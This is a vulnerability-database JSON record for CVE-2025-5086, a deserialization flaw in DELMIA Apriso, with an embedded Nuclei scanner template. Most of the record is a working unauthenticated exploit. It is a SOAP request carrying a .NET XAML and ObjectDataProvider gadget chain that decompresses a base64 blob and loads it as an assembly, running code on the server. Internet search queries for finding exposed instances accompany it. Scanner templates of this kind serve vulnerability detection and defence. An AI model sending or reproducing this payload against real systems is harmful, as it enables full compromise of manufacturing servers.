{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-5086/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-5086/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-5086/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-5086/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-5086/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-5086"},"sightings":{"href":"/api/v1/sightings/cve-2025-5086"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.91917,"kev":true,"percentile":0.99814},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-5086.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-5086\n\ninfo:\n name: Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization\n author: hacktronai,iamnoooob,pdresearch\n severity: critical\n description: |\n A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n impact: |\n Unauthenticated attackers can exploit unsafe deserialization to execute arbitrary code on DELMIA Apriso servers, achieving complete system compromise.\n remediation: |\n Upgrade DELMIA Apriso to a version later than Release 2025 that properly validates deserialized data.\n reference:\n - https://www.hacktron.ai/blog/posts/dassault-delmia-apriso-rce/\n - https://www.3ds.com/vulnerability/advisories\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\n cvss-score: 9\n cve-id: CVE-2025-5086\n cwe-id: CWE-502\n epss-score: 0.91917\n epss-percentile: 0.99814\n metadata:\n verified: true\n max-request: 1\n shodan-query: html:\"apriso\"\n fofa-query: body=\"/Apriso/Portal\"\n tags: cve,cve2025,delmia,apriso,serialization,rce,kev,vkev,vuln\n\nhttp:\n - raw:\n - |-\n POST /apriso/WebServices/FlexNetOperationsService.svc/Invoke HTTP/1.1\n Host: {{Hostname}}\n Content-Type: text/xml\n Soapaction: \"http://tempuri.org/IFlexNetOperationsService/Invoke\"\n\n \n \n \n 2<_comparison z:Id=\"4\" z:FactoryType=\"a:DelegateSerializationHolder\" z:Type=\"System.DelegateSerializationHolder\" z:Assembly=\"0\" xmlns=\"http://schemas.datacontract.org/2004/07/System.Collections.Generic\" xmlns:a=\"http://schemas.datacontract.org/2004/07/System\">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089CompareSystem.StringSystem.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]ParsePresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35System.Windows.Markup.XamlReaderSystem.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]System.Object Parse(System.String)System.Object Parse(System.String)8Int32 Compare(System.String, System.String)System.Int32 Compare(System.String, System.String)82<ResourceDictionary \n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" \n xmlns:s=\"clr-namespace:System;assembly=mscorlib\" \n xmlns:r=\"clr-namespace:System.Reflection;assembly=mscorlib\" \n xmlns:i=\"clr-namespace:System.IO;assembly=mscorlib\" \n xmlns:c=\"clr-namespace:System.IO.Compression;assembly=System\" \n > \n <s:Array x:Key=\"data\" x:FactoryMethod=\"s:Convert.FromBase64String\"> \n <x:Arguments> \n <s:String>H4sIAAAAAAAEAO1WzW8bVRD/reO0jtNYSQulEVXZ1ClK+Vg5jYNKhUgaO61D86U4dStUKVmvX5Ot1rur3efEyQEqIapy41AhcUAcuPRQQQ+VqCohITj1EIkDXDj1D0DiwAUQIsx7u/6IY9RcUCWUcXbezLyZN795n5l592N0AIjSt70NPERA43g63aQv8dKjBB50bQ08VKa3BhZXTV91PWfF08uqodu2w9UiU72KrZq2mp3Lq2WnxLSenvhgOMb8JDCtdOD70bHV2rhPEBnoVrqBAwg+ohMiQK0D65VyJMANNFoJKhKIHRj/ULiKv0ZbbyT9kAQuhQXfjbQpchk4tIe52EWEL9akxkjPNekaZ1VO7WA08JV1tuQn87Lm+Z6BEBthlIXGdvqReVzzmOUYIdblcKxDu/wmduEMFyInQzpRpaRXaUMoeyixHX0SGaLo+BDBjDudglFhcY+Gcz2aatc5SOorBCT/zoQSZhEw19JaShtJjQy/KSydsIgfp+7ke8BtageFnOeeaa/4wuNeJJiO5OU8fokEa5q8eHkqS+1fpF8T+oTlFENcZFIuPgd0CeXPUyM4GtRYm3YhH2ySO2RUPER4AKdxkngBbxBfIx7HXXxG/FviCfyBn6WfEnLx68ULshIhz6vCfutYSo7YhxTF9ENoXZIP4AGOE9+i7zR6lJcxjH7lVWjoJknDEZxD9GbrXN9B076Xeftl22w7QvhabQrVUqe3ZpxSxWJv4/q6yaubqWGtZFmYRNk3HM8yi8hv+JyVMVe8wQwOzeCOF9q0hYrNzTLTMk7ZNS3m5Zm3ZhrMR2DQuenYC8zSq1Lyz3Nav2KFM4SBwo26iqZl8o1Gbw1JLc0VVkSOczfj2PLUrDC+lKl4HrO5tC8w36XhmeyoK2FwxrEsAi7ya3mXGaZumZushFm9zAq6VWENBxmfY3qJeT58kqdE4UQD8/Dg4AYYDHBkYcInyaGdwKhnA3jRkPLrOEPreQajJI2SdJZ2ioJPv/rxg+SdL3O3fvvi5KPH332O2Neb1wr96ScfdahQoqqixGL3x5be7/spfo7W6XBfVMXh5wXr71QjSiIRU8Ijf0JspsXI0Sue7s469mTVYK5AvrjqOeu+2H2/JxtLm6jdme2odgFjKeN4Wcua0U07WHTG5BYQtH2K4nv/ZYR9+t+RIhf7WPCK7rCLvZVqYxck3o6r4/SON71f05E08QLyWCI+iQWSpjCHWdKniF8gWdA30V//bvfajIWtuLdan+WszFyATmfvAp1Fi07eFGxcpxMpaFBGLVKvTlaf+nU6tSb12uEI96P3FDFGnuwe9dDRbzPSbemTqv/SKIo5wGuESKn7Z+kTt4EYx92RR5VzFmvyLcj7wm/ySdHt3vjoOkYP+QsMXPrahN2i+dJRJh2EbJ2iOarYJH/xNpSoPzitQxLXNPmtyKgMZXHpdhLIVrAKHmLKyhxzod0Mc9Qw2nvKlZZ1BfdiCRV5L7ZW11rbWRlznjx88izTbFqETn1q3D79h6QG/3+p6WcNZJ+eBf0DwmVsFgAOAAA=</s:String> \n </x:Arguments> \n </s:Array> \n <i:MemoryStream x:Key=\"inputStream\"> \n <x:Arguments> \n <StaticResource ResourceKey=\"data\"></StaticResource> \n </x:Arguments> \n </i:MemoryStream> \n <c:GZipStream x:Key=\"gzipStream\"> \n <x:Arguments> \n <StaticResource ResourceKey=\"inputStream\"></StaticResource> \n <c:CompressionMode>0</c:CompressionMode> \n </x:Arguments> \n </c:GZipStream> \n <s:Array x:Key=\"buf\" x:FactoryMethod=\"s:Array.CreateInstance\"> \n <x:Arguments> \n <x:Type TypeName=\"s:Byte\"/> \n <x:Int32>3584</x:Int32> \n </x:Arguments> \n </s:Array> \n <ObjectDataProvider x:Key=\"tmp\" ObjectInstance=\"{StaticResource gzipStream}\" MethodName=\"Read\"> \n <ObjectDataProvider.MethodParameters> \n <StaticResource ResourceKey=\"buf\"></StaticResource> \n <x:Int32>0</x:Int32> \n <x:Int32>3584</x:Int32> \n </ObjectDataProvider.MethodParameters> \n </ObjectDataProvider> \n <ObjectDataProvider x:Key=\"asmLoad\" ObjectType=\"{x:Type r:Assembly}\" MethodName=\"Load\"> \n <ObjectDataProvider.MethodParameters> \n <StaticResource ResourceKey=\"buf\"></StaticResource> \n </ObjectDataProvider.MethodParameters> \n </ObjectDataProvider> \n <ObjectDataProvider x:Key=\"types\" ObjectInstance=\"{StaticResource asmLoad}\" MethodName=\"GetTypes\"> \n <ObjectDataProvider.MethodParameters/> \n </ObjectDataProvider> \n <ObjectDataProvider x:Key=\"firstType\" ObjectInstance=\"{StaticResource types}\" MethodName=\"GetValue\"> \n <ObjectDataProvider.MethodParameters> \n <s:Int32>0</s:Int32> \n </ObjectDataProvider.MethodParameters> \n </ObjectDataProvider> \n <ObjectDataProvider x:Key=\"createInstance\" ObjectInstance=\"{StaticResource firstType}\" MethodName=\"InvokeMember\"> \n <ObjectDataProvider.MethodParameters> \n <x:Null/> \n <r:BindingFlags>512</r:BindingFlags> \n <x:Null/> \n <x:Null/> \n <x:Null/> \n <x:Null/> \n <x:Null/> \n <x:Null/> \n </ObjectDataProvider.MethodParameters> \n </ObjectDataProvider> \n </ResourceDictionary>\n \n \n \n\n matchers:\n - type: dsl\n dsl:\n - 'contains(projectdiscovery, \"cve-2025-5086\")'\n - 'contains(content_type, \"text/xml\")'\n - 'status_code == 500'\n condition: and\n# digest: 4a0a00473045022031fcfcd87ba45e4cfa9349946aeca8f4b13ea5816e5b5aed46bddf2fb06b7322022100dac812bcd77f1291e2d181a16f682093ba5866da1f0ab143617ddb53759f71b1:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-5086"}